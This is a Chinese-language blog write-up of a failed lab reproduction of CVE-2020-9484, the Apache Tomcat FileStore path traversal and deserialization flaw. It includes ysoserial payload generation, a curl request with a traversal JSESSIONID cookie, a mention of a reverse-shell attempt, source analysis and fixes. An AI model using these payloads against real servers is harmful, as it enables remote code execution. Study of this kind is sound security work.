1. 程式人生 > 實用技巧 >記一次失敗的漏洞復現_CVE-2020-9484

記一次失敗的漏洞復現_CVE-2020-9484

0x01 簡介

Apache Tomcat 是一個開放原始碼、執行servlet和JSP Web應用軟體的基於Java的Web應用軟體容器。

0x02 漏洞概述

這次是由於錯誤配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引起的 RCE。
當配置了 org.apache.catalina.session.PersistentManager 並且使用 org.apache.catalina.session.FileStore 來儲存 session 時, 使用者可以通過 org.apache.catalina.session.FileStore 的一個 LFI 漏洞來讀取伺服器上任意以 .session結尾的檔案。然後通過反序列化來執行 .session 檔案。
預設情況是使用 org.apache.catalina.session.StandardManager, 將 session儲存到記憶體,而 PersistentManager 會將不常用的 session swap out, 從而減少記憶體佔用。

0x03 影響版本

Apache Tomcat:
• 10.0.0-M1 to 10.0.0-M4
• 9.0.0.M1 to 9.0.34
• 8.5.0 to 8.5.54
• 7.0.0 to 7.0.103

0x04 環境搭建

使用Vulfocus搭建環境
下載 vulfocus/tomcat-cve_2020_9484
https://hub.docker.com/r/vulfocus/tomcat-cve_2020_9484
啟動
docker run -d --name tomcat-cve_2020_9484 -p 8080:8080  vulfocus/tomcat-cve_2020_9484:latest

0x05 漏洞復現 1:docker版本

0、環境
物理機:Windows 10
虛擬機器:CentOS 7,安裝docker
靶機:Tomcat,docker版
目標是在伺服器上執行命令 touch /tmp/666,假設 666.session檔案已經被上傳到伺服器的已知位置。

1、進入容器bash
docker run -it vulfocus/tomcat-cve_2020_9484 /bin/bash

2、下載 ysoserial:一個生成java反序列化 payload 的 .jar 包
3、執行下面語句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/666" > /tmp/666.session


4、執行
curl 'http://127.0.0.1:8080' -H 'Cookie: JSESSIONID=../../../../../tmp/666.session'
但是執行失敗,原因未知......

5、排錯過程
已經開啟容器埠轉發
docker run -d --name 94844 -p 8080:8080 vulfocus/tomcat-cve_2020_9484:latest'
物理機訪問也是正常的

0x06 漏洞復現 2:Vulfocus演示官網版本

1、官網自行搜尋題目環境,開啟環境。根據docker hub的提示,需要自行構造表單POST請求

2、Burp上傳檔案
我用的是Burp,shell.session的內容是使用ysoserial生成的payload,目標是反彈shell。生成過程跟上面的一致。
這裡值得注意的是,要右鍵-“Paste from file”,不要直接開啟.session檔案,然後複製貼上(編碼與格式問題,會導致內容錯誤)。



3、修改cookie

可見返回404
VPS也的確沒彈回shell,失敗......

0x07 漏洞分析
此處使用 Tomcat 10.0.0-M4 來做分析
這裡主要是 FileStore 的 LFI 漏洞可以反序列化任意路徑上的 .session 檔案, 如果同時存在檔案上傳漏洞的話就是 RCE 了。
首先看 FileStore 原始碼, 當用戶請求裡帶有 JSESSIONID 時,會執行存在問題的 load 方法

public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
if (file == null || !file.exists()) {
return null;
}
Context context = getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);
try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
ObjectInputStream ois = getObjectInputStream(fis)) {
StandardSession session = (StandardSession) manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
} catch (FileNotFoundException e) {
if (contextLog.isDebugEnabled()) {
contextLog.debug("No persisted data file found");
}
return null;
} finally {
context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}
}

load 會先將 session id 轉換成 file object 檢視檔案是否存在, 如果存在的話會讀取檔案. file object 會為輸入的 id 新增
.session 字尾 然而並沒有驗證檔案的目錄

private File file(String id) throws IOException {
if (this.directory == null) {
return null;
}
String filename = id + FILE_EXT;
File file = new File(directory(), filename);
return file;
}

當檔案存在時, 系統會執行 org.apache.catalina.session.getObjectInputStream 方法

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
BufferedInputStream bis = new BufferedInputStream(is);
CustomObjectInputStream ois;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (manager instanceof ManagerBase) {
ManagerBase managerBase = (ManagerBase) manager;
ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
managerBase.getSessionAttributeValueClassNamePattern(),
managerBase.getWarnOnSessionAttributeFilterFailure());
} else {
ois = new CustomObjectInputStream(bis, classLoader);
}
return ois;
}

getObjectInputStream 方法執行 org.apache.catalina.util.CustomObjectInputStream 獲取 gadget 類, 然後就反序列化.session檔案了。

0x08 修復方式

對比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 原始碼可以發現做了目錄驗證。

修復方式就是升級,或者配置WAF,過濾掉 ../ 之類的字串,或者不使用 FileStore。

0x09 參考連結:

https://my.oschina.net/u/4593034/blog/4418600
https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
https://y4er.com/post/cve-2020-9484-tomcat-session-rce/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
https://github.com/masahiro331/CVE-2020-9484